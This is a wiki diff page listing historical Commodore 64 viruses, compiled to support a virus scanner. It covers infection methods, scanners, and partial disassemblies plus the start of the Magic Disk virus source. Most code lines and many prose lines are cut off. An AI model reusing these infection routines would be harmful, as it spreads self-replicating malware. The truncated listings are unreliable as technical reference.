base:viruslist
no way to compare when less than two revisions
Differences
This shows you the differences between two versions of the page.
— | base:viruslist [2015-04-17 04:34] (current) – created - external edit 127.0.0.1 | ||
---|---|---|---|
Line 1: | Line 1: | ||
+ | ====== Making a Virus Scanner - info needed ====== | ||
+ | |||
+ | as some of you might know i made a little util to scan the disks i transfered | ||
+ | for errors (D64scan v0.2, http:// | ||
+ | |||
+ | i thought it would be a useful feature to add virus detection (and possibly | ||
+ | elimination) to that tool aswell... | ||
+ | |||
+ | so the question is, who has detailed info on that subject? useful info would be | ||
+ | - what virii do exist | ||
+ | - how did said virii work | ||
+ | - what are existing scanners/ | ||
+ | - how do those virii " | ||
+ | |||
+ | ...etc. | ||
+ | |||
+ | at the very least, i'd need a bunch of " | ||
+ | but ofcourse any further info would make things a lot easier :) | ||
+ | |||
+ | the following is a work in progress list of info that i could locate so far. | ||
+ | |||
+ | if you have anything to share that isnt mentioned in this list yet, (especially | ||
+ | virus programs, and scanners/ | ||
+ | you feel like adding more comments to one of the disassemblies, | ||
+ | so, all help is welcomed! | ||
+ | |||
+ | -> groepaz@gmx.net | ||
+ | |||
+ | |||
+ | ====== Commodore C64 Virus List v0.2, last updated 09/06/2007 (w) groepaz/ | ||
+ | |||
+ | |||
+ | |||
+ | ===== programs that qualify as " | ||
+ | |||
+ | |||
+ | |||
+ | ==== BHP-Virus ==== | ||
+ | |||
+ | |||
+ | < | ||
+ | Author: | ||
+ | Size: 2030 bytes. (9 Blocks) | ||
+ | Type: Memory-resident parasitic prepender. | ||
+ | Infects: Commodore 64 Basic files. | ||
+ | Payload: Displays text under certain conditions: | ||
+ | |||
+ | DR.DR.STROBE& | ||
+ | COPROGRAMMER: | ||
+ | |||
+ | HALLO DICKERCHEN, DIES IST EIN ECHTER | ||
+ | VIRUS! | ||
+ | |||
+ | SERIALNO.: | ||
+ | </ | ||
+ | Removal: | ||
+ | |||
+ | first virus for the C64 ever, often said to be _the_ first virus in computer | ||
+ | history ever (which is not true, there were others before for cp/m, the apple 2e | ||
+ | etc). | ||
+ | < | ||
+ | 9 "bhp virus.prg" | ||
+ | </ | ||
+ | The following description is a cleaned up and shortened summary of the symantec | ||
+ | virus bulletin january 2005 (http:// | ||
+ | |||
+ | (note: this is still messy and may contain errors) | ||
+ | |||
+ | As with all Commodore 64 programs, BHP began with | ||
+ | some code written in Basic. This code consisted of a single | ||
+ | line, a SYS call to the assembler code, where the | ||
+ | rest of the virus resided. Unlike many programs, the virus | ||
+ | code built the address to call dynamically. This may have | ||
+ | been written by a very careful coder, but it proved to be | ||
+ | unnecessary because the address did not change in later | ||
+ | versions of the machine. | ||
+ | |||
+ | Once the assembler code gained control, it placed itself in | ||
+ | the block of memory that was normally occupied by the I/O | ||
+ | devices when the ROM was banked-in. | ||
+ | |||
+ | A side-effect of memory-banking was that it was a great | ||
+ | way to hide a program, since the program was not visible if | ||
+ | its memory was not banked in. This is the reason why BHP | ||
+ | placed its code in banked memory. | ||
+ | After copying itself to banked memory, the virus restored | ||
+ | the host program to its original memory location and | ||
+ | restored the program size to its original value. This allowed | ||
+ | the host program to execute as though it were not infected. | ||
+ | However, at this time the virus would verify the checksum | ||
+ | of the virus?s Basic code, and would overwrite the host | ||
+ | memory if the checksum did not match. | ||
+ | An interesting note about the checksum routine is that it | ||
+ | missed the first three bytes of the code, which were the line | ||
+ | number and SYS command. This made the job easier for the | ||
+ | person who produced the later variant of the virus. Although | ||
+ | the later variant differed only in the line number, this was | ||
+ | sufficient to defeat the BHP-Killer program, because | ||
+ | BHP-Killer checked the entire Basic code, including the | ||
+ | line number. | ||
+ | |||
+ | The virus checked whether it was running already by | ||
+ | reading a byte from a specific memory location. If that | ||
+ | value matched the expected value, the virus assumed that | ||
+ | another copy was running. Thus, writing that value to that | ||
+ | memory location would have been an effective inoculation | ||
+ | method. | ||
+ | If no other copy of the virus was running, the virus would | ||
+ | copy some code into a low address in non-banked memory, | ||
+ | and hook several vectors, pointing them to the copied code. | ||
+ | |||
+ | The virus hooked the ILOAD, ISAVE, MAIN, NMI, | ||
+ | CBINV and RESET vectors. | ||
+ | The hooking of MAIN, NMI, CBINV and RESET made the | ||
+ | virus Break-proof, | ||
+ | |||
+ | Once the hooks were in place, the virus ran the host code. | ||
+ | The main virus code would be called on every request to | ||
+ | load or save a file. | ||
+ | |||
+ | The ILOAD hook was reached when a disk needed to be | ||
+ | searched. This happened whenever a directory listing was | ||
+ | requested, and could happen when a search was made using | ||
+ | a filename with wildcards, or the first time that a file was | ||
+ | accessed. Otherwise, the drive hardware cached up to 2kb of | ||
+ | data and returned it directly. | ||
+ | The virus called the original ILOAD handler, then checked | ||
+ | whether an infected program had been loaded. If an infected | ||
+ | program had been loaded, the virus restored the host | ||
+ | program to its original memory location and restored the | ||
+ | program size to its original value. Otherwise, even if no file | ||
+ | had been loaded, the virus called the infection routine. | ||
+ | |||
+ | The ISAVE hook was reached whenever a file was saved. | ||
+ | The virus called the original ISAVE handler to save the file, | ||
+ | then called the infection routine. | ||
+ | The infection routine began by checking that the requested | ||
+ | device was a disk drive. If so, then the virus opened the first | ||
+ | file in the cache. The first file in the cache would be the | ||
+ | saved file if this code was reached via the ISAVE hook, | ||
+ | otherwise it would be the first file in the directory listing. | ||
+ | If the file was a Basic program, then the virus performed a | ||
+ | quick infection check by reading the first byte of the | ||
+ | program and comparing it against the SYS command. | ||
+ | |||
+ | If the SYS command was present, the virus | ||
+ | verified the infection by reading and comparing up to 27 | ||
+ | subsequent bytes. A file was considered infected if all 27 | ||
+ | bytes matched. | ||
+ | If the file was not infected, the virus switched to reading | ||
+ | data from the hardware cache. The first check was for a | ||
+ | standard disk layout: the directory had to exist on track 18, | ||
+ | sector 0, and the file to infect had not to have resided on | ||
+ | that track. | ||
+ | |||
+ | If these checks passed, the virus searched the track list for | ||
+ | free sectors. It began with the track containing the file to | ||
+ | infect, then moved outwards in alternating directions. | ||
+ | This reduced the amount of seeking that the drive had to | ||
+ | perform in order to read the file afterwards. | ||
+ | |||
+ | If at least eight free sectors existed on the same track, then | ||
+ | the virus allocated eight sectors for itself and updated the | ||
+ | sector bitmap for that track. | ||
+ | |||
+ | The virus wrote itself to disk in the | ||
+ | following manner: the first sector of the host was copied to | ||
+ | the last sector allocated by the virus, then that first sector | ||
+ | was replaced by the first sector of the virus. After that, the | ||
+ | remaining virus code was written to the remaining allocated | ||
+ | sectors. | ||
+ | |||
+ | The directory stealth was present here, and it existed | ||
+ | without any effort on the part of the virus writer(s). It was a | ||
+ | side-effect of the virus not updating the block count in the | ||
+ | directory sector. The block count was not used by DOS to | ||
+ | load files, its purpose was informational only, since it was | ||
+ | displayed by the directory listing. | ||
+ | |||
+ | After any call to ILOAD or ISAVE, the virus checked | ||
+ | whether the payload should activate. The conditions for | ||
+ | the payload activation were the following: that the machine | ||
+ | was operating in ?direct? mode (the command-prompt), | ||
+ | that the seconds field of the jiffy clock was a value from | ||
+ | 2?4 seconds, and that the current scan line of the vertical | ||
+ | retrace was at least 128. This made the activation fairly | ||
+ | random. The payload was to display a particular text, one | ||
+ | character at a time, while cycling the colours of the border | ||
+ | The serial number that was displayed was the number of | ||
+ | times the payload check was called. It was incremented | ||
+ | once after each call, and it was carried in replications. It | ||
+ | reset to zero only after 65,536 calls. | ||
+ | |||
+ | |||
+ | ==== HIV-Virus ==== | ||
+ | Author: Rogue/The Cult | ||
+ | |||
+ | probably the most known and widespread virus on the C64. | ||
+ | < | ||
+ | 21 " | ||
+ | 3 " | ||
+ | </ | ||
+ | |||
+ | The infection stored on the track 18. | ||
+ | |||
+ | It infects only the first 4 file on the disk. It stores the infections on the track 18 sector 0. In this sector the lower nibble of $A7 byte (XXXX0001 means the first file is infected, XXXX0011 means the first and second infected). After the 4th infection, infects the next (5th) file, and deletes the first file. | ||
+ | |||
+ | Software protection: | ||
+ | Software protection is partially possible, just set the $A7 byte to XXXX1111 on a disk. | ||
+ | If the virus is in the memory, but not was started with RUN command, but we insert another disk with this byte set, the virus assumes, its code already in the directory. Just tries to look for files, delete one, but does not writes its code into the directory. | ||
+ | |||
+ | The virus is 2 block long only, and after an infection, it recovers the original program and starts. | ||
+ | |||
+ | It is possible to copy an infected file with a file copy, so its not impossible to have a file which is infected more than one. | ||
+ | |||
+ | One of the virus scanners scans for this copied behaviour, and displays as file infection type (-F- )not as directory infection type (-D-), and of course we can have a file, which have also a directory type infection, and also as copied file another infection too. (This kind of multiple infection was named as -A- infection type in that scanner.) | ||
+ | |||
+ | Excellent programing work from the author of this virus. | ||
+ | |||
+ | ==== HIV2-Virus ==== | ||
+ | |||
+ | Author: Crossbow/ | ||
+ | |||
+ | this is an " | ||
+ | released it into "the wild", however according to others it is "out there" | ||
+ | |||
+ | < | ||
+ | HIV-EXPERT V2.0.prg (hiv expert 1.0 infected with HIV2) | ||
+ | </ | ||
+ | crossbow comments on this one: | ||
+ | |||
+ | "here is my virus, it's contained in the scanner for HIV 1. it scanns the disk for | ||
+ | HIV1 (and removes it when it is found) but infects with HIV2. the virus does not use | ||
+ | track 18 for itself (like HIV1), but track 19. that way the HIV1 scanner can not find | ||
+ | it - but it will likely destroy other programs." | ||
+ | |||
+ | |||
+ | ==== BU\A Virus ==== | ||
+ | |||
+ | |||
+ | aka: BULA Virus | ||
+ | |||
+ | Author: ? | ||
+ | < | ||
+ | 4 "bu\a 6.13 / | ||
+ | 4 "bu\a 8.32 / | ||
+ | </ | ||
+ | (note: the \ in the filename is supposed to be the pound sign) | ||
+ | |||
+ | ==== MD-Virus ==== | ||
+ | |||
+ | aka: Magic Disk Virus | ||
+ | |||
+ | Author: ? | ||
+ | < | ||
+ | 8 " | ||
+ | 29 " | ||
+ | 44 " | ||
+ | </ | ||
+ | ==== Starfire-Virus ==== | ||
+ | |||
+ | |||
+ | Author: ? | ||
+ | < | ||
+ | 2 " | ||
+ | </ | ||
+ | description by Quetzal: | ||
+ | |||
+ | That virus worked by scanning the directory for uninfected programs, grabbing | ||
+ | the track + sector link to said prg and replacing it with a T+S link to a copy | ||
+ | of the virus (which allocated each copy of itself 2 sectors on the disk more | ||
+ | or less at random, thus REALLY screwing up files at times), the original T+S | ||
+ | link was placed in the 2nd sector of the virus, so the original prg was then | ||
+ | appended after it. Next time that prg was run, after the virus finished its | ||
+ | work, a simple memory move to $0801 and a RUN, started the main prg. Can' | ||
+ | recall exactly, but I think it also patched various vectors such as LOAD, | ||
+ | RUNSTOP/ | ||
+ | common idea in C64 virus. | ||
+ | |||
+ | |||
+ | ==== FROG-Virus ==== | ||
+ | |||
+ | Author: Kobold/ | ||
+ | |||
+ | this one is kinda nasty, it installs the infection routine in a fastcrueled | ||
+ | program, and thus is a lot harder to scan for than for other virii (the | ||
+ | infected program must be unpacked to check for the infection routine) | ||
+ | < | ||
+ | 38 " | ||
+ | </ | ||
+ | ==== Coder-Virus ==== | ||
+ | |||
+ | Author: ? | ||
+ | |||
+ | (currently only found a scanner/ | ||
+ | there is a small chance that its a fake. need to analyze the scanner, however | ||
+ | it is a basic-boss compiled program which is almost impossible to read without | ||
+ | a lot of effort, so that has to wait - finding the virus itself would save a | ||
+ | LOT of work!) | ||
+ | |||
+ | |||
+ | ===== virus-scanners and -killers ===== | ||
+ | |||
+ | |||
+ | |||
+ | ==== BHP-Virus ==== | ||
+ | |||
+ | < | ||
+ | 11 " | ||
+ | </ | ||
+ | |||
+ | ==== HIV-Virus ==== | ||
+ | |||
+ | < | ||
+ | 4 "hiv scaner / | ||
+ | 42 " | ||
+ | 24 " | ||
+ | 5 " | ||
+ | |||
+ | 1 " | ||
+ | 9 " | ||
+ | |||
+ | 5 " | ||
+ | |||
+ | HIV-Finder " | ||
+ | </ | ||
+ | ==== Starfire-Virus ==== | ||
+ | |||
+ | < | ||
+ | 6 "star killer v1.0" | ||
+ | </ | ||
+ | ==== MD-Virus ==== | ||
+ | < | ||
+ | 11 " | ||
+ | </ | ||
+ | ==== Coder-Virus ==== | ||
+ | < | ||
+ | 29 " | ||
+ | 43 " | ||
+ | </ | ||
+ | ==== others/ | ||
+ | < | ||
+ | Virus Killer " | ||
+ | |||
+ | Virus Killer v1.1 " | ||
+ | |||
+ | 6 "virus kill. v2.4" | ||
+ | </ | ||
+ | |||
+ | ===== Offtopic: pranks and fakes and other generally harmless programs ===== | ||
+ | |||
+ | |||
+ | the following programs are listed to avoid confusion with " | ||
+ | are all 100% harmless (promised). | ||
+ | |||
+ | ==== Antivirus V4.0 ==== | ||
+ | |||
+ | Quetzal comments on this one: "This is a well designed fake. The code for | ||
+ | " | ||
+ | viruses - most of which I doubt ever existed." | ||
+ | < | ||
+ | 29 " | ||
+ | </ | ||
+ | ==== WAG-Virus ==== | ||
+ | |||
+ | Author: Matthias Weber, released by CSD and Magic Disk | ||
+ | |||
+ | not a real virus (it does not infect other programs/ | ||
+ | program released on magic disk. | ||
+ | < | ||
+ | 50 " | ||
+ | 10 " | ||
+ | 32 " | ||
+ | 17 " | ||
+ | 41 " | ||
+ | 28 " | ||
+ | 11 " | ||
+ | 6 " | ||
+ | 31 " | ||
+ | 41 " | ||
+ | 48 " | ||
+ | |||
+ | 2 "wag virus-killer" | ||
+ | </ | ||
+ | ==== Kaufhaus-Demo ==== | ||
+ | |||
+ | aka: Karstadt Demo | ||
+ | |||
+ | Author: ? | ||
+ | |||
+ | not a real virus (it does not infect other programs/ | ||
+ | program released by an unknown author | ||
+ | |||
+ | |||
+ | ===== Analysis: HIV ===== | ||
+ | |||
+ | |||
+ | < | ||
+ | 07FD .byte $xx, | ||
+ | |||
+ | 0800 .byte $00, | ||
+ | |||
+ | start | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;this block sends the virus code into the drive buffer 0400 and 0500 (2 pages) | ||
+ | ;there is two byte alignment because the first two bytes of a block is load address | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;start the code in the drive | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ; | ||
+ | ;this block copies the restore routine (54 bytes with pointers) to the $0100 | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;zero page pointers for the the copy of original data ( | ||
+ | ;(this will be copied to $FC and used from the code copied to $0100) | ||
+ | |||
+ | ;$FC-FF commodore 64 memory | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;restore the original program to run | ||
+ | ;(this will be copied to $0100 and runs there) | ||
+ | |||
+ | ;$0100 commodore 64 memory | ||
+ | | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;memory write command in backwards order | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;drive handling subroutine | ||
+ | ;this is used to open prepare drive | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;------- | ||
+ | ;this code run in the drive after to $0400- copied | ||
+ | |||
+ | ;1541 memory $04b4 | ||
+ | .C: | ||
+ | |||
+ | ;1541 memory $04b6 | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ; 1541 memory $0500 | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ; 1541 memory $0503 (it was started with U4) | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ;1541 memory $054f | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | (infected program follows) | ||
+ | </ | ||
+ | |||
+ | ===== Analysis: HIV2 ===== | ||
+ | |||
+ | |||
+ | < | ||
+ | ; basic stub | ||
+ | 0801 .byte $0c, | ||
+ | |||
+ | ; send drivecode | ||
+ | ; move copyloop to stack | ||
+ | ; start drivecode | ||
+ | ; start copyloop | ||
+ | |||
+ | start: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ; send M-W | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | ; originally at $0851 | ||
+ | ; transfered to $0100 | ||
+ | |||
+ | ; copies original program back to | ||
+ | ; where it belongs and runs it | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | 087d .byte $20, | ||
+ | |||
+ | ; drivecode | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | |||
+ | (infected program follows) | ||
+ | </ | ||
+ | |||
+ | ===== Analysis: Starfire ===== | ||
+ | |||
+ | < | ||
+ | ; basic stub | ||
+ | 0800 .byte $00, | ||
+ | |||
+ | start | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | 08c9 .byte " | ||
+ | 08d1 .byte " | ||
+ | |||
+ | ; copied to $0340 | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | .C: | ||
+ | |||
+ | 09f3 .byte " | ||
+ | |||
+ | (infected program follows here) | ||
+ | </ | ||
+ | ============================================================================== | ||
+ | Analysis: Magic Disk Virus | ||
+ | ============================================================================== | ||
+ | |||
+ | This analysis is from the original (?) sourcecode i found on the disk with the | ||
+ | virus, with some more comments and formatting added. | ||
+ | < | ||
+ | .ba $cbaf | ||
+ | |||
+ | .eq status=$90 | ||
+ | .eq savecont=$f624 | ||
+ | .eq filelo=$bb | ||
+ | .eq filehi=$bc | ||
+ | .eq fileleng=$b7 | ||
+ | .eq setpar=$ffba | ||
+ | .eq setnam=$ffbd | ||
+ | .eq open=$ffc0 | ||
+ | .eq close=$ffc3 | ||
+ | .eq savecbm=$ffd8 | ||
+ | .eq strout=$ab1e | ||
+ | .eq bsout=$ffd2 | ||
+ | |||
+ | .eq sid=54272 | ||
+ | .eq crsrflag=204 | ||
+ | .eq crsrline=214 | ||
+ | .eq vic=$d000 | ||
+ | |||
+ | .eq frqlo=data-1 | ||
+ | .eq frqhi=data-2 | ||
+ | .eq countlo=data-3 | ||
+ | .eq counthi=data-4 | ||
+ | .eq counter=data-5 | ||
+ | .eq lengnam=data-6 | ||
+ | .eq realend=ende-data+$0801 | ||
+ | |||
+ | ; | ||
+ | ; basic stub | ||
+ | |||
+ | data .by $15, | ||
+ | .tx " | ||
+ | .by 0,0,0 | ||
+ | |||
+ | ; | ||
+ | ; copy virus code to $cff0 | ||
+ | |||
+ | copyup | ||
+ | sta $01 | ||
+ | ldx #$01 | ||
+ | ldy #$08 | ||
+ | stx $5f | ||
+ | sty $60 | ||
+ | ldx #< | ||
+ | ldy #> | ||
+ | stx $5a | ||
+ | sty $5b | ||
+ | ldx #$f0 | ||
+ | ldy #$cf | ||
+ | stx $58 | ||
+ | sty $59 | ||
+ | jsr $a3bf | ||
+ | jmp start | ||
+ | |||
+ | ; | ||
+ | ; copy infected program to $0801 | ||
+ | ; init virus and run program | ||
+ | |||
+ | start lda #$36 | ||
+ | sta $01 | ||
+ | |||
+ | ldx #01 | ||
+ | ldy #08 | ||
+ | stx lab5+1 | ||
+ | sty lab5+2 | ||
+ | ldx #< | ||
+ | ldy #> | ||
+ | stx $fb | ||
+ | sty $fc | ||
+ | ldx $ae | ||
